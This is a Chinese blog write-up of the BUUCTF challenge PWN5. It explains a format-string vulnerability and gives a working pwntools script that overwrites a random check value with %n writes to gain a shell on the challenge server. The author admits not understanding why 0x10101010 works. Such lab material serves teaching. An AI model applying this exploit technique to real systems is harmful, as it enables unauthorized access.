BUUCTF [第五空间2019 决赛]PWN5

最新推荐文章于 2025-06-20 09:45:53 发布

原创最新推荐文章于 2025-06-20 09:45:53 发布 · 276 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#pwn

PWN 专栏收录该内容

10 篇文章

订阅专栏

本文介绍了如何在开启了NX和Canary保护的情况下，利用格式化字符串漏洞进行逆向分析。通过ida查看main函数，发现需要使atoi(nptr)等于随机的dword_804C044。利用%10$n等技巧修改函数内容，最终构造payload成功获取权限。然而，为何payload中特定使用0x10101010作为数据的原因未明。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

先checksec，开启了NX保护和Canary保护

也就意味着不能用栈溢出来攻击了

运行一下

放入ida中

查看main函数

我们可以看到只要令atoi(nptr) == dword_804C044就可以拿到权限

但dword_804C044是随机的，所以我们需要将它修改为我们想要的数据

看到了printf(buf); 说明存在格式化字符串漏洞

先计算偏移

我们可以算出偏移为10（从AAAA到41414141）

再看这个函数的长度 44~47 共4个字节

所以我们就可以用%10$n%11$n%12$n%13$n来修改该函数的内容

这里的10跟上面计算出的偏移量有关

关于偏移量的计算我是从这里学的

点这里~

写payload

from pwn import*

p = remote('node4.buuoj.cn',28543)
#p = process("./note")
#binsh = "/bin/sh"

addr_dword_804C044 = 0x0804C044
addr_dword_804C045 = 0x0804C045
addr_dword_804C046 = 0x0804C046
addr_dword_804C047 = 0x0804C047
payload =p32(addr_dword_804C044)+p32(addr_dword_804C045)+p32(addr_dword_804C046)+p32(addr_dword_804C047)+'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()

至于这里为什么非得是0x10101010而不能用其他数据，我也暂时没搞懂

其他的博主也没有明确的解释，只能暂时放着了

运行payload